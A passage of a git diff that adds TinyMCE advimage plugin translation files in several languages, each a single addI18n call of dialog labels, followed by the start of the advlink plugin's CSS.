pokra\u010dova\u0165 bez vlo\u017een\u00e9ho popisu obr\u00e1zka? Bez popisu m\u00f4\u017ee by\u0165 obr\u00e1zok nepr\u00edstupn\u00fd u\u017e\u00edvate\u013eom so zrakov\u00fdm postihnut\u00edm, u\u017e\u00edvate\u013eom textov\u00fdch prehliada\u010dov alebo u\u017e\u00edvate\u013eom, ktor\u00ed maj\u00fa vypnut\u00e9 zobrazovanie obr\u00e1zkov.","example_img":"Pr\u00edklad obr\u00e1zka",misc:"R\u00f4zne",mouseout:"Po odjazden\u00ed my\u0161i",mouseover:"Pri nabehnut\u00ed my\u0161i","alt_image":"Alternat\u00edvny obr\u00e1zok","swap_image":"Prepnutie obr\u00e1zka",map:"Obr\u00e1zkov\u00e1 mapa",id:"ID",rtl:"Sprava do\u013eava",ltr:"Z\u013eava doprava",classes:"Triedy",style:"\u0160t\u00fdl","long_desc":"Dlh\u00fd popis",langcode:"K\u00f3d jazyka",langdir:"Smer textu","constrain_proportions":"Zachova\u0165 pomer str\u00e1n",preview:"N\u00e1h\u013ead",title:"Titulok",general:"Obecn\u00e9 parametre","tab_advanced":"Roz\u0161\u00edren\u00e9","tab_appearance":"Vzh\u013ead","tab_general":"Obecn\u00e9",width:"\u0160\u00edrka",height:"V\u00fd\u0161ka"}); \ No newline at end of file diff --git a/js/tiny_mce/plugins/advimage/langs/sl_dlg.js b/js/tiny_mce/plugins/advimage/langs/sl_dlg.js new file mode 100755 index 0000000..b2e990d --- /dev/null +++ b/js/tiny_mce/plugins/advimage/langs/sl_dlg.js @@ -0,0 +1 @@ +tinyMCE.addI18n('sl.advimage_dlg',{"image_list":"Seznam slik","align_right":"desno, plavajo\u010de","align_left":"levo, plavajo\u010de","align_textbottom":"dno besedila","align_texttop":"vrh besedila","align_bottom":"dno","align_middle":"sredina","align_top":"vrh","align_baseline":"osnovna \u010drta",align:"Poravnava",hspace:"Prostor le/de",vspace:"Prostor zg/sp",dimensions:"Dimenzije",border:"Obroba",list:"Seznam slik",alt:"Opis slike",src:"Naslov URL slike","dialog_title":"Vstavi/uredi sliko","missing_alt":"Zares \u017eelite nadaljevati, brez da bi dolo\u010dili opis slike? Brez njega slika nekaterim uporabnikom ne bo na voljo (izklopljen prikaz slik, tekstni brskalnik ali ljudje s slab\u0161im vidom).","example_img":"Predogled izgleda",misc:"Razno",mouseout:"pri mi\u0161ki izven",mouseover:"pri mi\u0161ki nad","alt_image":"Nadomestna slika","swap_image":"Zamenjava slike",map:"Karta slike",id:"Id",rtl:"Od desne proti levi",ltr:"Od leve proti desni",classes:"Razredi",style:"Slog","long_desc":"Povezava do opisa",langcode:"Koda jezika",langdir:"Smer jezika","constrain_proportions":"Zakleni razmerje",preview:"Predogled",title:"Naslov",general:"Splo\u0161no","tab_advanced":"Napredno","tab_appearance":"Izgled","tab_general":"Splo\u0161no",width:"\u0160irina",height:"Vi\u0161ina"}); \ No newline at end of file diff --git a/js/tiny_mce/plugins/advimage/langs/sv_dlg.js b/js/tiny_mce/plugins/advimage/langs/sv_dlg.js new file mode 100755 index 0000000..af1e61c --- /dev/null +++ b/js/tiny_mce/plugins/advimage/langs/sv_dlg.js @@ -0,0 +1 @@ +tinyMCE.addI18n('sv.advimage_dlg',{"image_list":"Bildlista","align_right":"H\u00f6ger","align_left":"V\u00e4nster","align_textbottom":"Botten av texten","align_texttop":"Toppen av texten","align_bottom":"Botten","align_middle":"Mitten","align_top":"Toppen","align_baseline":"Baslinje",align:"Justering",hspace:"Horisontalrymd",vspace:"Vertikalrymd",dimensions:"Dimensioner",border:"Ram",list:"Bildlista",alt:"Bildens beskrivning",src:"Bildens URL","dialog_title":"Infoga/redigera bild","missing_alt":"Vill du forts\u00e4tta utan bildbeskrivning?\nIcke grafiska webbl\u00e4sare kommer inte att kunna tolka bilden f\u00f6r anv\u00e4ndaren.","example_img":"Exempelbild",misc:"\u00d6vrigt",mouseout:"vid musen utanf\u00f6r",mouseover:"vid musen ovanf\u00f6r","alt_image":"Alternativbild","swap_image":"Utbytningsbild",map:"L\u00e4nkkarta",id:"Id",rtl:"H\u00f6ger till v\u00e4nster",ltr:"V\u00e4nster till h\u00f6ger",classes:"Klasser",style:"Stil","long_desc":"L\u00e5ng beskrivning",langcode:"Spr\u00e5kkod",langdir:"Skriftriktning","constrain_proportions":"Bibeh\u00e5ll proportionerna",preview:"F\u00f6rhandsvisning",title:"Titel",general:"Generellt","tab_advanced":"Avancerat","tab_appearance":"Utseende","tab_general":"Generellt",width:"Bredd",height:"H\u00f6jd"}); \ No newline at end of file diff --git a/js/tiny_mce/plugins/advimage/langs/th_dlg.js b/js/tiny_mce/plugins/advimage/langs/th_dlg.js new file mode 100755 index 0000000..f8dff4f --- /dev/null +++ b/js/tiny_mce/plugins/advimage/langs/th_dlg.js @@ -0,0 +1 @@ +tinyMCE.addI18n('th.advimage_dlg',{"image_list":"\u0e23\u0e32\u0e22\u0e01\u0e32\u0e23\u0e23\u0e39\u0e1b","align_right":"\u0e02\u0e27\u0e32","align_left":"\u0e0b\u0e49\u0e32\u0e22","align_textbottom":"\u0e15\u0e31\u0e27\u0e2d\u0e31\u0e01\u0e29\u0e23\u0e2d\u0e22\u0e39\u0e48\u0e25\u0e48\u0e32\u0e07","align_texttop":"\u0e15\u0e31\u0e27\u0e2d\u0e31\u0e01\u0e29\u0e23\u0e2d\u0e22\u0e39\u0e48\u0e1a\u0e19","align_bottom":"\u0e25\u0e48\u0e32\u0e07","align_middle":"\u0e01\u0e25\u0e32\u0e07","align_top":"\u0e1a\u0e19","align_baseline":"\u0e40\u0e2a\u0e49\u0e19\u0e1e\u0e37\u0e49\u0e19",align:"\u0e15\u0e33\u0e41\u0e2b\u0e19\u0e48\u0e07\u0e08\u0e31\u0e14\u0e27\u0e32\u0e07",hspace:"\u0e23\u0e30\u0e22\u0e30\u0e2b\u0e48\u0e32\u0e07\u0e41\u0e19\u0e27\u0e19\u0e2d\u0e19",vspace:"\u0e23\u0e30\u0e22\u0e30\u0e2b\u0e48\u0e32\u0e07\u0e41\u0e19\u0e27\u0e15\u0e31\u0e49\u0e07",dimensions:"\u0e15\u0e33\u0e41\u0e2b\u0e19\u0e48\u0e07",border:"\u0e01\u0e23\u0e2d\u0e1a",list:"\u0e23\u0e32\u0e22\u0e01\u0e32\u0e23\u0e23\u0e39\u0e1b",alt:"\u0e23\u0e32\u0e22\u0e25\u0e30\u0e40\u0e2d\u0e35\u0e22\u0e14\u0e23\u0e39\u0e1b",src:"\u0e17\u0e35\u0e48\u0e2d\u0e22\u0e39\u0e48\u0e23\u0e39\u0e1b","dialog_title":"\u0e40\u0e1e\u0e34\u0e48\u0e21/\u0e41\u0e01\u0e49\u0e44\u0e02 image","missing_alt":"\u0e04\u0e38\u0e13\u0e41\u0e19\u0e48\u0e43\u0e08\u0e2b\u0e23\u0e37\u0e2d\u0e44\u0e21\u0e48\u0e27\u0e48\u0e32\u0e15\u0e49\u0e2d\u0e07\u0e01\u0e32\u0e23\u0e14\u0e33\u0e40\u0e19\u0e34\u0e19\u0e01\u0e32\u0e23\u0e15\u0e48\u0e2d\u0e42\u0e14\u0e22\u0e44\u0e21\u0e48\u0e43\u0e2a\u0e48\u0e04\u0e33\u0e2d\u0e18\u0e34\u0e1a\u0e32\u0e22\u0e23\u0e39\u0e1b\u0e20\u0e32\u0e1e ? \u0e01\u0e32\u0e23\u0e43\u0e2a\u0e48\u0e04\u0e33\u0e2d\u0e18\u0e34\u0e1a\u0e32\u0e22\u0e23\u0e39\u0e1b\u0e17\u0e33\u0e43\u0e2b\u0e49\u0e1c\u0e39\u0e49\u0e1e\u0e34\u0e01\u0e32\u0e23\u0e17\u0e32\u0e07\u0e2a\u0e32\u0e22\u0e15\u0e32\u0e2a\u0e32\u0e21\u0e32\u0e23\u0e16\u0e23\u0e39\u0e49\u0e44\u0e14\u0e49\u0e27\u0e48\u0e32\u0e23\u0e39\u0e1b\u0e04\u0e38\u0e13\u0e04\u0e37\u0e2d\u0e23\u0e39\u0e1b\u0e2d\u0e30\u0e44\u0e23","example_img":"\u0e14\u0e39\u0e15\u0e31\u0e27\u0e2d\u0e22\u0e48\u0e32\u0e07\u0e25\u0e31\u0e01\u0e29\u0e13\u0e30\u0e02\u0e2d\u0e07\u0e23\u0e39\u0e1b",misc:"\u0e40\u0e1a\u0e47\u0e14\u0e40\u0e15\u0e25\u0e47\u0e14",mouseout:"\u0e40\u0e21\u0e37\u0e48\u0e2d\u0e40\u0e2d\u0e32\u0e40\u0e21\u0e49\u0e32\u0e2a\u0e4c\u0e2d\u0e2d\u0e01",mouseover:"\u0e40\u0e21\u0e37\u0e48\u0e2d\u0e40\u0e2d\u0e32\u0e40\u0e21\u0e49\u0e32\u0e2a\u0e4c\u0e0a\u0e35\u0e49","alt_image":"\u0e02\u0e49\u0e2d\u0e04\u0e27\u0e32\u0e21\u0e23\u0e39\u0e1b","swap_image":"Swap image",map:"Image map",id:"Id",rtl:"\u0e02\u0e27\u0e32\u0e44\u0e1b\u0e0b\u0e49\u0e32\u0e22",ltr:"\u0e0b\u0e49\u0e32\u0e22\u0e44\u0e1b\u0e02\u0e27\u0e32",classes:"\u0e04\u0e25\u0e32\u0e2a",style:"\u0e23\u0e39\u0e1b\u0e41\u0e1a\u0e1a","long_desc":"\u0e23\u0e32\u0e22\u0e25\u0e30\u0e40\u0e2d\u0e35\u0e22\u0e14\u0e25\u0e34\u0e49\u0e07\u0e04\u0e4c",langcode:"\u0e42\u0e04\u0e49\u0e14\u0e20\u0e32\u0e29\u0e32",langdir:"\u0e17\u0e34\u0e28\u0e17\u0e32\u0e07\u0e01\u0e32\u0e23\u0e2d\u0e48\u0e32\u0e19","constrain_proportions":"\u0e04\u0e07\u0e2a\u0e31\u0e14\u0e2a\u0e48\u0e27\u0e19",preview:"\u0e14\u0e39\u0e15\u0e31\u0e27\u0e2d\u0e22\u0e48\u0e32\u0e07",title:"\u0e0a\u0e37\u0e48\u0e2d",general:"\u0e17\u0e31\u0e48\u0e27\u0e44\u0e1b","tab_advanced":"\u0e02\u0e31\u0e49\u0e19\u0e2a\u0e39\u0e07","tab_appearance":"\u0e25\u0e31\u0e01\u0e29\u0e13\u0e30","tab_general":"\u0e17\u0e31\u0e48\u0e27\u0e44\u0e1b",width:"Width",height:"Height"}); \ No newline at end of file diff --git a/js/tiny_mce/plugins/advimage/langs/tr_dlg.js b/js/tiny_mce/plugins/advimage/langs/tr_dlg.js new file mode 100755 index 0000000..0a1868d --- /dev/null +++ b/js/tiny_mce/plugins/advimage/langs/tr_dlg.js @@ -0,0 +1 @@ +tinyMCE.addI18n('tr.advimage_dlg',{"image_list":"Resim listesi","align_right":"Sa\u011f","align_left":"Sol","align_textbottom":"Metin altta","align_texttop":"Metin \u00fcstte","align_bottom":"Alt","align_middle":"Orta","align_top":"\u00dcst","align_baseline":"Taban hizas\u0131",align:"Hizalama",hspace:"Yatay bo\u015fluk",vspace:"Dikey bo\u015fluk",dimensions:"Boyutlar",border:"Kenarl\u0131k",list:"Resim listesi",alt:"Resim a\u00e7\u0131klamas\u0131",src:"Resmin URL\'si","dialog_title":"Resim ekle/d\u00fczenle","missing_alt":"Resim a\u00e7\u0131klamas\u0131 girmeden devam etmek istedi\u011finize emini misiniz? Bu olmadan taray\u0131c\u0131da resimleri kapatanlar, metin bazl\u0131 taray\u0131c\u0131lar veya resim baz\u0131 engelli kullan\u0131c\u0131lar g\u00f6remeyeceklerdir.","example_img":"Resim \u00f6nizleme g\u00f6r\u00fcn\u00fcm\u00fc",misc:"\u00c7e\u015fitli",mouseout:"Fare d\u0131\u015f\u0131ndayken",mouseover:"Fare \u00fczerindeyken","alt_image":"Alternatif resim","swap_image":"Resmi takas et",map:"Resim haritas\u0131",id:"Id",rtl:"Soldan sa\u011fa",ltr:"Sa\u011fdan sola",classes:"S\u0131n\u0131fla",style:"Stil","long_desc":"Uzun a\u00e7\u0131klamal\u0131 ba\u011flant\u0131",langcode:"Dil kodu",langdir:"Dil y\u00f6n\u00fc","constrain_proportions":"Oran\u0131 s\u0131n\u0131rla",preview:"\u00d6nizleme",title:"Ba\u015fl\u0131k",general:"Genel","tab_advanced":"Geli\u015fmi\u015f","tab_appearance":"G\u00f6r\u00fcn\u00fcm","tab_general":"Genel",width:"Geni\u015flik",height:"Y\u00fckseklik"}); \ No newline at end of file diff --git a/js/tiny_mce/plugins/advimage/langs/tw_dlg.js b/js/tiny_mce/plugins/advimage/langs/tw_dlg.js new file mode 100755 index 0000000..25d4d86 --- /dev/null +++ b/js/tiny_mce/plugins/advimage/langs/tw_dlg.js @@ -0,0 +1 @@ +tinyMCE.addI18n('tw.advimage_dlg',{"image_list":"\u5716\u7247\u6e05\u55ae","align_right":"\u9760\u53f3","align_left":"\u9760\u5de6","align_textbottom":"\u6587\u5b57\u4e0b\u65b9","align_texttop":"\u6587\u5b57\u4e0a\u65b9","align_bottom":"\u9760\u4e0b","align_middle":"\u7f6e\u4e2d","align_top":"\u9760\u4e0a","align_baseline":"\u57fa\u6e96\u7dda",align:"\u5c0d\u9f4a\u65b9\u5f0f",hspace:"\u6c34\u5e73\u9593\u8ddd",vspace:"\u5782\u76f4\u9593\u8ddd",dimensions:"\u5c3a\u5bf8",border:"\u908a\u6846",list:"\u5716\u7247\u6e05\u55ae",alt:"\u5716\u7247\u8aaa\u660e",src:"\u5716\u7247URL","dialog_title":"\u63d2\u5165/\u7de8\u8f2f\u5716\u7247","missing_alt":"\u5716\u7247\u6c92\u6709\u8aaa\u660e\u6587\u5b57\uff0c\u662f\u5426\u7e7c\u7e8c\uff1f","example_img":"\u5716\u7247\u5916\u89c0\u9810\u89bd",misc:"\u5176\u5b83",mouseout:"\u6ed1\u9f20\u79fb\u51fa",mouseover:"\u6ed1\u9f20\u79fb\u5165","alt_image":"\u53d6\u4ee3\u5716\u7247","swap_image":"\u5716\u7247\u5207\u63db",map:"\u5716\u7247 Map",id:"ID",rtl:"\u5f9e\u53f3\u5230\u5de6",ltr:"\u5f9e\u5de6\u5230\u53f3",classes:"\u985e\u5225",style:"\u6a23\u5f0f","long_desc":"\u9577\u63cf\u8ff0\u9023\u7d50",langcode:"\u8a9e\u8a00\u7de8\u78bc",langdir:"\u8a9e\u8a00\u66f8\u5beb\u65b9\u5411","constrain_proportions":"\u9396\u5b9a\u6bd4\u4f8b",preview:"\u9810\u89bd",title:"\u6a19\u984c",general:"\u4e00\u822c","tab_advanced":"\u9032\u968e","tab_appearance":"\u5916\u89c0","tab_general":"\u4e00\u822c",width:"Width",height:"Height"}); \ No newline at end of file diff --git a/js/tiny_mce/plugins/advimage/langs/uk_dlg.js b/js/tiny_mce/plugins/advimage/langs/uk_dlg.js new file mode 100755 index 0000000..5692313 --- /dev/null +++ b/js/tiny_mce/plugins/advimage/langs/uk_dlg.js @@ -0,0 +1 @@ +tinyMCE.addI18n('uk.advimage_dlg',{"image_list":"\u0421\u043f\u0438\u0441\u043e\u043a \u0437\u043e\u0431\u0440\u0430\u0436\u0435\u043d\u044c","align_right":"\u041f\u043e \u043f\u0440\u0430\u0432\u043e\u043c\u0443 \u043a\u0440\u0430\u044e","align_left":"\u041f\u043e \u043b\u0456\u0432\u043e\u043c\u0443 \u043a\u0440\u0430\u044e","align_textbottom":"\u041f\u043e \u043d\u0438\u0436\u043d\u044c\u043e\u043c\u0443 \u043a\u0440\u0430\u044e \u0442\u0435\u043a\u0441\u0442\u0443","align_texttop":"\u041f\u043e \u0432\u0435\u0440\u0445\u043d\u044c\u043e\u043c\u0443 \u043a\u0440\u0430\u044e \u0442\u0435\u043a\u0441\u0442\u0443","align_bottom":"\u041f\u043e \u043d\u0438\u0436\u043d\u044c\u043e\u043c\u0443 \u043a\u0440\u0430\u044e","align_middle":"\u041f\u043e \u0446\u0435\u043d\u0442\u0440\u0443","align_top":"\u041f\u043e \u0432\u0435\u0440\u0445\u043d\u044c\u043e\u043c\u0443 \u043a\u0440\u0430\u044e","align_baseline":"\u041f\u043e \u0431\u0430\u0437\u043e\u0432\u0456\u0439 \u043b\u0456\u043d\u0456\u0457",align:"\u0412\u0438\u0440\u0456\u0432\u043d\u044e\u0432\u0430\u043d\u043d\u044f",hspace:"\u0413\u043e\u0440\u0438\u0437. \u0432\u0456\u0434\u0441\u0442\u0443\u043f",vspace:"\u0412\u0435\u0440\u0442. \u0432\u0456\u0434\u0441\u0442\u0443\u043f",dimensions:"\u0420\u043e\u0437\u043c\u0456\u0440\u0438",border:"\u0420\u0430\u043c\u043a\u0430",list:"\u0421\u043f\u0438\u0441\u043e\u043a \u0437\u043e\u0431\u0440\u0430\u0436\u0435\u043d\u044c",alt:"\u041e\u043f\u0438\u0441",src:"\u041f\u043e\u0441\u0438\u043b\u0430\u043d\u043d\u044f \u043d\u0430 \u0437\u043e\u0431\u0440\u0430\u0436\u0435\u043d\u043d\u044f","dialog_title":"\u0414\u043e\u0434\u0430\u0442\u0438/\u0437\u043c\u0456\u043d\u0438\u0442\u0438 \u0437\u043e\u0431\u0440\u0430\u0436\u0435\u043d\u043d\u044f","missing_alt":"\u0412\u0438 \u0432\u043f\u0435\u0432\u043d\u0435\u043d\u043d\u0456, \u0449\u043e \u0431\u0430\u0436\u0430\u0454\u0442\u0435 \u043f\u0440\u043e\u0434\u043e\u0432\u0436\u0438\u0442\u0438 \u0431\u0435\u0437 \u043e\u043f\u0438\u0441\u0443 \u0437\u043e\u0431\u0440\u0430\u0436\u0435\u043d\u043d\u044f? \u0411\u0435\u0437 \u0446\u044c\u043e\u0433\u043e, \u0437\u043e\u0431\u0440\u0430\u0436\u0435\u043d\u043d\u044f \u043d\u0435 \u0431\u0443\u0434\u0435 \u0434\u043e\u0441\u0442\u0443\u043f\u043d\u0438\u043c \u0434\u0435\u044f\u043a\u0438\u043c \u043a\u043e\u0440\u0438\u0441\u0442\u0443\u0432\u0430\u0447\u0430\u043c \u0437 \u0432\u0430\u0434\u0430\u043c\u0438, \u0430\u0431\u043e \u0442\u0438\u043c, \u0445\u0442\u043e \u043a\u043e\u0440\u0438\u0442\u0443\u0454\u0442\u044c\u0441\u044f \u0442\u0435\u043a\u0441\u0442\u043e\u0432\u0438\u043c\u0438 \u043f\u0435\u0440\u0435\u0433\u043b\u044f\u0434\u0430\u0447\u0430\u043c\u0438, \u0430\u0431\u043e \u043f\u0440\u043e\u0433\u043b\u044f\u0434\u0430\u0454 \u0456\u043d\u0442\u0435\u0440\u043d\u0435\u0442 \u0441\u0442\u043e\u0440\u0456\u043d\u043a\u0438 \u0437 \u0432\u0438\u043c\u043a\u043d\u0435\u043d\u0438\u043c\u0438 \u0437\u043e\u0431\u0440\u0430\u0436\u0435\u043d\u043d\u044f\u043c\u0438.","example_img":"\u0412\u0438\u0433\u043b\u044f\u0434 \u043f\u0435\u0440\u0435\u0433\u043b\u044f\u0434\u0443 \u0437\u043e\u0431\u0440\u0430\u0436\u0435\u043d\u043d\u044f",misc:"\u0406\u043d\u0448\u0435",mouseout:"\u043f\u0440\u0438 \u0432\u0456\u0434\u0432\u0435\u0434\u0435\u043d\u043d\u0456",mouseover:"\u043f\u0440\u0438 \u043d\u0430\u0432\u0435\u0434\u0435\u043d\u043d\u0456","alt_image":"\u0410\u043b\u044c\u0442\u0435\u0440\u043d\u0430\u0442\u0438\u0432\u043d\u0435 \u0437\u043e\u0431\u0440\u0430\u0436\u0435\u043d\u043d\u044f","swap_image":"\u0417\u043e\u0431\u0440\u0430\u0436\u0435\u043d\u043d\u044f \u0437\u0430\u043c\u0456\u043d\u043d\u0438\u043a",map:"\u041c\u0430\u043f\u0430 \u0437\u043e\u0431\u0440\u0430\u0436\u0435\u043d\u043d\u044f",id:"\u0406\u0434\u0435\u043d\u0442\u0438\u0444\u0456\u043a\u0430\u0442\u043e\u0440",rtl:"\u0421\u043f\u0440\u0430\u0432\u0430 \u043b\u0456\u0432\u043e\u0440\u0443\u0447",ltr:"\u0417\u043b\u0456\u0432\u0430 \u043f\u0440\u0430\u0432\u043e\u0440\u0443\u0447",classes:"\u041a\u043b\u0430\u0441\u0438",style:"\u0421\u0442\u0438\u043b\u044c","long_desc":"\u041f\u043e\u0441\u0438\u043b\u0430\u043d\u043d\u044f \u043d\u0430 \u043f\u043e\u0432\u043d\u0438\u0439 \u043e\u043f\u0438\u0441",langcode:"\u041a\u043e\u0434 \u043c\u043e\u0432\u0438",langdir:"\u041d\u0430\u043f\u0440\u044f\u043c\u043e\u043a \u043c\u043e\u0432\u0438","constrain_proportions":"\u0417\u0431\u0435\u0440\u0456\u0433\u0430\u0442\u0438 \u043f\u0440\u043e\u043f\u043e\u0440\u0446\u0456\u0457",preview:"\u041f\u0435\u0440\u0435\u0433\u043b\u044f\u0434",title:"\u0417\u0430\u0433\u043e\u043b\u043e\u0432\u043e\u043a",general:"\u0417\u0430\u0433\u0430\u043b\u044c\u043d\u0435","tab_advanced":"\u0414\u043e\u0434\u0430\u0442\u043a\u043e\u0432\u043e","tab_appearance":"\u0412\u0438\u0433\u043b\u044f\u0434","tab_general":"\u0417\u0430\u0433\u0430\u043b\u044c\u043d\u0435",width:"Width",height:"Height"}); \ No newline at end of file diff --git a/js/tiny_mce/plugins/advimage/langs/vi_dlg.js b/js/tiny_mce/plugins/advimage/langs/vi_dlg.js new file mode 100755 index 0000000..361b0b8 --- /dev/null +++ b/js/tiny_mce/plugins/advimage/langs/vi_dlg.js @@ -0,0 +1 @@ +tinyMCE.addI18n('vi.advimage_dlg',{"image_list":"Danh s\u00e1ch \u1ea3nh","align_right":"Ph\u1ea3i","align_left":"Tr\u00e1i","align_textbottom":"V\u0103n b\u1ea3n d\u01b0\u1edbi c\u00f9ng","align_texttop":"V\u0103n b\u1ea3n tr\u00ean c\u00f9ng","align_bottom":"D\u01b0\u1edbi c\u00f9ng","align_middle":"Gi\u1eefa","align_top":"Tr\u00ean c\u00f9ng","align_baseline":"D\u00f2ng c\u01a1 s\u1edf",align:"Canh l\u1ec1",hspace:"Kho\u1ea3ng c\u00e1ch ngang",vspace:"Kho\u1ea3ng c\u00e1ch d\u1ecdc",dimensions:"K\u00edch th\u01b0\u1edbc",border:"Vi\u1ec1n",list:"Danh s\u00e1ch \u1ea3nh",alt:"M\u00f4 t\u1ea3 \u1ea3nh",src:"URL \u1ea3nh","dialog_title":"Ch\u00e8n/s\u1eeda \u1ea3nh","missing_alt":"Ti\u1ebfp t\u1ee5c v\u1edbi \u0111\u01b0\u1eddng d\u1eabn kh\u00f4ng t\u1ed3n t\u1ea1i ?.","example_img":"Hi\u1ec3n th\u1ecb h\u00ecnh \u1ea3nh xem tr\u01b0\u1edbc",misc:"Linh tinh",mouseout:"cho chu\u1ed9t ra",mouseover:"cho chu\u1ed9t l\u00ean","alt_image":"\u1ea2nh thay th\u1ebf","swap_image":"Trao \u0111\u1ed5i \u1ea3nh",map:"S\u01a1 \u0111\u1ed3 \u1ea3nh",id:"Id",rtl:"Ph\u1ea3i qua tr\u00e1i",ltr:"Tr\u00e1i qua ph\u1ea3i",classes:"L\u1edbp",style:"Ki\u1ec3u d\u00e1ng","long_desc":"Li\u00ean k\u1ebft m\u00f4 t\u1ea3 d\u00e0i",langcode:"M\u00e3 ng\u00f4n ng\u1eef",langdir:"H\u01b0\u1edbng ng\u00f4n ng\u1eef","constrain_proportions":"R\u00e0ng bu\u1ed9c t\u1ec9 l\u1ec7",preview:"Xem tr\u01b0\u1edbc",title:"Ti\u00eau \u0111\u1ec1",general:"Chung","tab_advanced":"N\u00e2ng cao","tab_appearance":"Xu\u1ea5t hi\u1ec7n","tab_general":"Chung",width:"Width",height:"Height"}); \ No newline at end of file diff --git a/js/tiny_mce/plugins/advimage/langs/zh-cn_dlg.js b/js/tiny_mce/plugins/advimage/langs/zh-cn_dlg.js new file mode 100755 index 0000000..5cf6bf5 --- /dev/null +++ b/js/tiny_mce/plugins/advimage/langs/zh-cn_dlg.js @@ -0,0 +1 @@ +tinyMCE.addI18n('zh-cn.advimage_dlg',{"image_list":"\u56fe\u7247\u5217\u8868","align_right":"\u53f3\u5bf9\u9f50","align_left":"\u5de6\u5bf9\u9f50","align_textbottom":"\u6587\u5b57\u4e0b\u65b9","align_texttop":"\u6587\u5b57\u4e0a\u65b9","align_bottom":"\u5e95\u7aef\u5bf9\u9f50","align_middle":"\u5c45\u4e2d\u5bf9\u9f50","align_top":"\u9876\u7aef\u5bf9\u9f50","align_baseline":"\u5e95\u7ebf",align:"\u5bf9\u9f50",hspace:"\u6c34\u5e73\u8ddd\u79bb",vspace:"\u5782\u76f4\u8ddd\u79bb",dimensions:"\u5c3a\u5bf8",border:"\u8fb9\u6846",list:"\u56fe\u7247\u5217\u8868",alt:"\u56fe\u7247\u63cf\u8ff0",src:"\u56fe\u7247\u94fe\u63a5","dialog_title":"\u63d2\u5165/\u7f16\u8f91 \u56fe\u7247","missing_alt":"\u56fe\u7247\u6ca1\u6709\u8bf4\u660e\u6587\u5b57\uff0c\u60a8\u662f\u5426\u8981\u7ee7\u7eed\uff1f\u6ca1\u6709\u8bf4\u660e\u6587\u5b57\u7684\u56fe\u7247\uff0c\u53ef\u80fd\u7ed9\u6b8b\u75be\u4eba\u58eb\u3001\u6587\u672c\u6d4f\u89c8\u5668\u6216\u5173\u95ed\u56fe\u7247\u529f\u80fd\u7684\u6d4f\u89c8\u5668\u8bbf\u95ee\u9020\u6210\u56f0\u96be\u3002","example_img":"\u5916\u89c2\u9884\u89c8\u56fe",misc:"\u5176\u4ed6",mouseout:"\u9f20\u6807\u6ed1\u51fa",mouseover:"\u9f20\u6807\u6ed1\u5165","alt_image":"\u66ff\u6362\u56fe\u7247","swap_image":"\u56fe\u7247\u5207\u6362",map:"\u56fe\u7247map",id:"ID",rtl:"\u4ece\u53f3\u5230\u5de6",ltr:"\u4ece\u5de6\u5230\u53f3",classes:"\u7c7b\u522b",style:"\u6837\u5f0f","long_desc":"\u957f\u63cf\u8ff0\u94fe\u63a5",langcode:"\u8bed\u8a00\u7f16\u7801",langdir:"\u8bed\u8a00\u6587\u5b57\u65b9\u5411","constrain_proportions":"\u4fdd\u6301\u6bd4\u4f8b",preview:"\u9884\u89c8",title:"\u6807\u9898",general:"\u666e\u901a","tab_advanced":"\u9ad8\u7ea7","tab_appearance":"\u5916\u89c2","tab_general":"\u666e\u901a",width:"Width",height:"Height"}); \ No newline at end of file diff --git a/js/tiny_mce/plugins/advimage/langs/zh-tw_dlg.js b/js/tiny_mce/plugins/advimage/langs/zh-tw_dlg.js new file mode 100755 index 0000000..9f51ade --- /dev/null +++ b/js/tiny_mce/plugins/advimage/langs/zh-tw_dlg.js @@ -0,0 +1 @@ +tinyMCE.addI18n('zh-tw.advimage_dlg',{"image_list":"\u5716\u7247\u6e05\u55ae","align_right":"\u5411\u53f3\u5c0d\u9f4a","align_left":"\u5411\u5de6\u5c0d\u9f4a","align_textbottom":"\u6587\u5b57\u4e0b\u65b9","align_texttop":"\u6587\u81ea\u4e0a\u65b9","align_bottom":"\u4e0b\u65b9","align_middle":"\u4e2d\u9593","align_top":"\u4e0a\u65b9","align_baseline":"\u57fa\u6e96\u7dda",align:"\u5c0d\u9f4a\u65b9\u5f0f",hspace:"\u6c34\u5e73\u8ddd\u96e2",vspace:"\u5782\u76f4\u8ddd\u96e2",dimensions:"\u5c3a\u5bf8",border:"\u6846\u67b6",list:"\u5716\u7247\u6e05\u55ae",alt:"\u5716\u7247\u8aaa\u660e",src:"\u5716\u7247 URL","dialog_title":"\u52a0\u5165 / \u8a2d\u5b9a\u5716\u7247","missing_alt":"\u60a8\u7684\u5716\u7247\u6c92\u6709\u8aaa\u660e\uff0c\u9019\u53ef\u80fd\u6703\u8b93\u4e00\u4e9b\u7db2\u53cb\u700f\u89bd\u6642\u6709\u4e9b\u9ebb\u7169\uff0c\u60a8\u78ba\u5b9a\u8981\u5ffd\u7565\u5b83\u55ce\uff1f","example_img":"\u9810\u89bd\u5716\u7247",misc:"\u5176\u4ed6\u8a2d\u5b9a",mouseout:"\u6ed1\u9f20\u79fb\u958b\u7684\u6642\u5019",mouseover:"\u6ed1\u9f20\u79fb\u5230\u5716\u7247\u4e0a\u7684\u6642\u5019","alt_image":"\u66ff\u63db\u5716\u7247","swap_image":"\u66f4\u63db\u5716\u7247\u6548\u679c",map:"\u5f71\u50cf\u5730\u5716",id:"\u5716\u7247\u7684 ID",rtl:"\u5411\u53f3\u908a\u5230\u5de6\u908a",ltr:"\u5411\u5de6\u908a\u5230\u53f3\u908a",classes:"\u985e\u5225 (Class)",style:"\u6a23\u5f0f","long_desc":"\u66ff\u4ee3\u5716\u7247",langcode:"\u8a9e\u7cfb\u4ee3\u865f",langdir:"\u66f8\u5beb\u65b9\u5411","constrain_proportions":"\u7dad\u6301\u5716\u7247\u6bd4\u4f8b",preview:"\u9810\u89bd",title:"\u6a19\u984c",general:"\u4e00\u822c","tab_advanced":"\u5176\u4ed6\u8a2d\u5b9a","tab_appearance":"\u5916\u89c0\u6a23\u5f0f","tab_general":"\u4e00\u822c",width:"Width",height:"Height"}); \ No newline at end of file diff --git a/js/tiny_mce/plugins/advlink/css/advlink.css b/js/tiny_mce/plugins/advlink/css/advlink.css new file mode 100755 index 0000000..66c6549 --- /dev/null +++ b/js/tiny_mce/plugins/advlink/css/advlink.css @@ -0,0 +1,8 @@ +.mceLinkList, .mceAnchorList, #targetlist {width:280px;} +.mceActionPanel {margin-top:7px;} +.panel_wrapper div.current {height:320px;} +#classlist, #title, #href {width:280px;} +#popupurl, #popupname {width:200px;} +#popupwidth, #popupheight, #popupleft, #popuptop {width:30px;vertical-align:middle;text-align:center;} +#id, #style, #classes, #target, #dir, #hreflang, #lang, #charset, #type, #rel, #rev, #tabindex, #accesskey {width:200px;} +#events_panel 